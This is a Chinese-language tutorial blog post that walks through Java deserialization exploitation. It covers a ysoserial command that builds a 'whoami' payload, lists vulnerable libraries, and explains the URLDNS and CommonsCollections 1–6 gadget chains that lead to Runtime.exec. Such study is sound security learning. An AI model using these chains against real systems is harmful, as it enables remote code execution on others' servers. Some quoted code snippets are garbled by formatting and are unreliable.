脚本小子的成长日记0x002-JAVA反序列化

admin 2023年10月17日13:18:43评论23 views字数 17622阅读58分44秒阅读模式

脚本小子的成长日记0x002-JAVA反序列化

反正我是挺头疼

本来计划是从0x001过后的一周就把这篇文章更新出来的,但是遇到了亿点点小小的情绪问题于是就一直咕咕咕到现在 我谢罪


0.0 前置知识

我们都知道一个对象只要实现了Serilizable接口,这个对象就可以被序列化,java的这种序列化模式为开发者提供了很多便利,我们可以不必关系具体序列化的过程,只要这个类实现了Serilizable接口,这个类的所有属性和方法都会自动序列化。

Java 序列化是指把 Java 对象转换为字节序列的过程

ObjectOutputStream类的 writeObject() 方法可以实现序列化

Java 反序列化是指把字节序列恢复为 Java 对象的过程

ObjectInputStream 类的 readObject() 方法用于反序列化

实现java.io.Serializable接口才可被反序列化,而且所有属性必须是可序列化的(用 transient 关键字修饰的属性除外,不参与序列化过程)


0.1 一个经过序列化的文件流通常会以ac ed 00 05 开头

java -jar ysoserial.jar CommonsCollections1 'whoami' > ~/Desktop/payload.bin

00000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ....sr.2sun.refl
00000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A
00000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat
00000030: 696f 6e48 616e 646c 6572 55ca f50f 15cb  ionHandlerU.....
00000040: 7ea5 0200 024c 000c 6d65 6d62 6572 5661  ~....L..memberVa
00000050: 6c75 6573 7400 0f4c 6a61 7661 2f75 7469  luest..Ljava/uti
00000060: 6c2f 4d61 703b 4c00 0474 7970 6574 0011  l/Map;L..typet..
00000070: 4c6a 6176 612f 6c61 6e67 2f43 6c61 7373  Ljava/lang/Class
00000080: 3b78 7073 7d00 0000 0100 0d6a 6176 612e  ;xps}......java.
00000090: 7574 696c 2e4d 6170 7872 0017 6a61 7661  util.Mapxr..java
000000a0: 2e6c 616e 672e 7265 666c 6563 742e 5072  .lang.reflect.Pr
000000b0: 6f78 79e1 27da 20cc 1043 cb02 0001 4c00  oxy.'. ..C....L.
Java类名称可能会以“L”开头的替代格式出现 ,以';'结尾 ,
并使用正斜杠来分隔命名空间和类名(例如 “Ljava / rmi / dgc / VMID;”)。
除了Java类名,由于序列化格式规范的约定,还有一些其他常见的字符串,
例如 :表示对象(TC_OBJECT),后跟其类描述(TC_CLASSDESC)的'sr'或 可能表示没有超类(TC_NULL)的类的类注释(TC_ENDBLOCKDATA)的'xp'

0.2 危险库简单汇总

commons-fileupload 1.3.1
commons-io 2.4
commons-collections 3.1
commons-logging 1.2
commons-beanutils 1.9.2
org.slf4j:slf4j-api 1.7.21
com.mchange:mchange-commons-java 0.2.11
org.apache.commons:commons-collections 4.0
com.mchange:c3p0 0.9.5.2
org.beanshell:bsh 2.0b5
org.codehaus.groovy:groovy 2.3.9
org.springframework:spring-aop 4.1.4.RELEASE

可能利用到的危险类:
org.apache.commons.collections.functors.InvokerTransformer
org.apache.commons.collections.functors.InstantiateTransformer
org.apache.commons.collections4.functors.InvokerTransformer
org.apache.commons.collections4.functors.InstantiateTransformer
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.MethodClosure
org.springframework.beans.factory.ObjectFactory
xalan.internal.xsltc.trax.TemplatesImpl
org.apache.commons.fileupload
org.apache.commons.beanutils

反序列化函数入口
ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject


0.3 ysoserial

> java -jar ysoserial.jar //ysoserial命令执行payload属于盲payload(blind payloads)类型,不会返回命令的输出结果
     Payload                                Authors                                Dependencies
     -------                                -------                                ------------
     AspectJWeaver                          @Jang                                  aspectjweaver:1.9.2, commons-collections:3.2.2
     BeanShell1                             @pwntester, @cschneider4711            bsh:2.0b5
     C3P0                                   @mbechler                              c3p0:0.9.5.2, mchange-commons-java:0.2.11
     Click1                                 @artsploit                             click-nodeps:2.3.0, javax.servlet-api:3.1.0
     Clojure                                @JackOfMostTrades                      clojure:1.8.0
     CommonsBeanutils1                      @frohoff                               commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
     CommonsBeanutils183NOCC                @Y4er                                  commons-beanutils:1.8.3
     CommonsBeanutils192NOCC                @Y4er                                  commons-beanutils:1.9.2
     CommonsBeanutils192WithDualTreeBidiMap @Y4er                                  commons-beanutils:1.9.2, commons-collections:3.1
     CommonsCollections1                    @frohoff                               commons-collections:3.1
     CommonsCollections12                   @Y4er                                  commons-collections:3.1
     CommonsCollections2                    @frohoff                               commons-collections4:4.0
     CommonsCollections3                    @frohoff                               commons-collections:3.1
     CommonsCollections4                    @frohoff                               commons-collections4:4.0
     CommonsCollections5                    @matthias_kaiser, @jasinner            commons-collections:3.1
     CommonsCollections6                    @matthias_kaiser                       commons-collections:3.1
     CommonsCollections7                    @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
     CommonsCollections8                    @navalorenzo                           commons-collections4:4.0
     Fastjson1                              @Y4er                                  fastjson:1.2.83
     Fastjson2                              @Y4er                                  fastjson:2.x
     FileUpload1                            @mbechler                              commons-fileupload:1.3.1, commons-io:2.4
     Groovy1                                @frohoff                               groovy:2.3.9
     Hibernate1                             @mbechler
     Hibernate2                             @mbechler
     JBossInterceptors1                     @matthias_kaiser                       javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     JRMPClient                             @mbechler
     JRMPListener                           @mbechler
     JSON1                                  @mbechler                              json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     Jackson                                @Y4er                                  jackson-databind:2.14.2
     JavassistWeld1                         @matthias_kaiser                       javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     Jdk7u21                                @frohoff
     Jython1                                @pwntester, @cschneider4711            jython-standalone:2.5.2
     MozillaRhino1                          @matthias_kaiser                       js:1.7R2
     MozillaRhino2                          @_tint0                                js:1.7R2
     Myfaces1                               @mbechler
     Myfaces2                               @mbechler
     ROME                                   @mbechler                              rome:1.0
     Spring1                                @frohoff                               spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
     Spring2                                @mbechler                              spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
     URLDNS                                 @gebl
     Vaadin1                                @kai_ullrich                           vaadin-server:7.7.14, vaadin-shared:7.7.14
     Wicket1                                @jacob-baines                          wicket-util:6.23.0, slf4j-api:1.6.4

1.URLDNS

很初级的反序列化链子,只会对目标发起dns解析,通常用来探测是否有无反序列化漏洞

import java.net.URL;

public class Main{
    public static void main(String [] args) throws Exception{
        URL urltest = new URL("http://test0.jws58r.dnslog.cn");
        urltest.hashCode();
    }
}

这里可以看到dnslog的请求

![截屏2023-09-11 10.58.26](/Users/tpolad/Library/Application Support/typora-user-images/截屏2023-09-11 10.58.26.png)

HashMap传入一个URL对象时,会进行一次DNS解析,并且HashMap实现了Serializable接口,重写了readObject,也就是说当一个Java应用存在反序列化漏洞时,可以通过传入一个序列化后的HashMap数据(将URL对象作为key放入HashMap中),当传入的数据到达该Java应用的反序列化漏洞点时,这时程序就会调用HashMap重写的readObject()函数来反序列化读取数据,进而触发key.hashCode()函数进行一次DNS解析

URL的hashcode

 public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }
  protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }

回到URL.java

  synchronized InetAddress getHostAddress() {
        if (hostAddress != null) {
            return hostAddress;
        }

        if (host == null || host.isEmpty()) {
            return null;
        }
        try {
            hostAddress = InetAddress.getByName(host); //最终触发 向host发送请求
        } catch (UnknownHostException | SecurityException ex) {
            return null;
        }
        return hostAddress;
    }

其实ysoserial在这里是用put()实现的,原理也完全一样

hashmap的hashcode

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is w
for (Map.Entry<? extends K, ? extends V> e : m.entrySet()) {
                K key = e.getKey();
                V value = e.getValue();
                putVal(hash(key), key, value, false, evict);
  static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

一样完成整个调用


2.CC

CC1

 Gadget chain:
  ObjectInputStream.readObject()
   AnnotationInvocationHandler.readObject()
    Map(Proxy).entrySet()
     AnnotationInvocationHandler.invoke()
      LazyMap.get()
       ChainedTransformer.transform()
        ConstantTransformer.transform()
        InvokerTransformer.transform()
         Method.invoke()
          Class.getMethod()
        InvokerTransformer.transform()
         Method.invoke()
          Runtime.getRuntime()

漏洞原理

/org/apache/commons/collections/functors/InvokerTransformer.java 中 transform 方法使用了reflact 且参数均可控

 public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

这里回看ysoserial的poc

final Transformer transformerChain = new ChainedTransformer(
   new Transformer[]{ new ConstantTransformer(1) });
  // real chain for after setup
  final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] {
     String.class, Class[].class }, new Object[] {
     "getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] {
     Object.class, Object[].class }, new Object[] {
     null, new Object[0] }),
    new InvokerTransformer("exec",
     new Class[] { String.class }, execArgs),
    new ConstantTransformer(1) };

在 commons-collections-3.1.jar!/org/apache/commons/collections/functors/ChainedTransformer.class 中使用了

final Transformer transformerChain = new ChainedTransformer(
   new Transformer[]{ new ConstantTransformer(1) });
   
   的
   
   ChainedTransformer
  
  的
  
      public static Transformer getInstance(Transformer transformer1, Transformer transformer2) {
        if (transformer1 != null && transformer2 != null) {
            Transformer[] transformers = new Transformer[]{transformer1, transformer2};
            return new ChainedTransformer(transformers);
        } else {
            throw new IllegalArgumentException("Transformers must not be null");
        }
    }
    
    循环构造调用链,利用反射调用恶意方法
   

CC2

Gadget chain:
  ObjectInputStream.readObject()
   PriorityQueue.readObject()
    ...
     TransformingComparator.compare()
      InvokerTransformer.transform()
       Method.invoke()
        Runtime.exec()

javassist : 一个处理java字节码的类库

PriorityQueue : 一个提供堆数类的库,会按照队伍优先进入堆的顺序对堆内数据进行排序

CC2是使用这两个东西来实现反序列化的,且用的是commons-collections-4.0 所以CC2不用3.X

然后InvokeTransformer提供了一个与ProrityQueue的接口来接收参数并实例化

又到了经典的ysoserial POC 环节

final Object templates = Gadgets.createTemplatesImpl(command);

这里object了一个TemplatesImpl , 跟进 Gadgets.createTemplatesImpl(command);

接收参数并create一个command出来

    public static Object createTemplatesImpl final String command ) throws Exception {
        if ( Boolean.parseBoolean(System.getProperty("properXalan""false")) ) {
            return createTemplatesImpl(
                command,
                Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
                Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
                Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
        }

        return createTemplatesImpl(command, TemplatesImpl.classAbstractTranslet.classTransformerFactoryImpl.class);
    }
  public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
            throws Exception {
        final T templates = tplClass.newInstance();

        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        String cmd = "java.lang.Runtime.getRuntime().exec("" +
            command.replace("\""\\").replace(""""\"") +
            "");";
        clazz.makeClassInitializer().insertAfter(cmd);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);

        final byte[] classBytes = clazz.toBytecode();

        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        })

        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name""Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }

然后到

final InvokerTransformer transformer = new InvokerTransformer("toString"new Class[0], new Object[0]);

InvokeTransformer中有一个transform方法会接收

iMethodName = methodName;
iParamTypes = paramTypes != null ? paramTypes.clone() : null;
iArgs = args != null ? args.clone() : null;

这三个参数来执行一个class所对应的方法

然后再到

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));

使用PriorityQueue序列化数据

在接下来就是序列化再反序列化执行恶意类的经典桥段了


CC3

Variation on CommonsCollections1 that uses InstantiateTransformer instead of InvokerTransformer. 

其他的基本都不变

CC4

其实CC4 算是CC1的另一个分支

不同于CC1用 LazyMap.get() 调用 .transform() CC4用TransformingComparator.compare() 调用

CC4的命令执行点则是 TemplatesImpl加载恶意类

所以后半段直接照抄CC3就行了 不需要做修改

CC5

也是CC1的分支

同样也是换了调用点,自己翻ysoserial看看就好了


CC6

这里着重说一下 CC6 因为这家伙不受任何java版本限制,可以直接打

CC6的前半段也就是一直到

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

之前

完全和CC1是一样的

然后咱们再看链子

Gadget chain:
     java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

相比于CC1 LazyMap.get() 入口点换到了 TiedMapEntry.hashCode() 这个地方

当然也是 TideMapEntiry 这个东西调用LazyMap的get方法

public Object getValue() {
        return map.get(key);
    }

我们再往下找

public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

这里找到 hashcode 那么下面就是反序列化的经典桥段

解决在序列化的时候就弹出计算器的问题

这里有一个很好玩的点位,就是这条链子在序列化数据的时候就回去执行命令了

原因在

public Object setValue(Object value) {
    if (value == this) {
        throw new IllegalArgumentException("Cannot set value to this map entry");
    }
    return map.put(key, value);
}
HashSet map = new HashSet(1);

这里就直接执行命令了

所以需要简单处理一下

我们在序列化的时候传进去一个没用的东西,再在反序列化的时候通过反射,将其修改回chainedTransformer 相关的属性值在 LazyMap 当中为factory 就完美收工

map.add("foo");

常见组件的反序列化

这个留到0x003再讲,东西略多,到时候新开一个方便总结


原文始发于微信公众号(点鼠标的猴子):脚本小子的成长日记0x002-JAVA反序列化

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月17日13:18:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   脚本小子的成长日记0x002-JAVA反序列化http://cn-sec.com/archives/2120665.html

发表评论

匿名网友 填写信息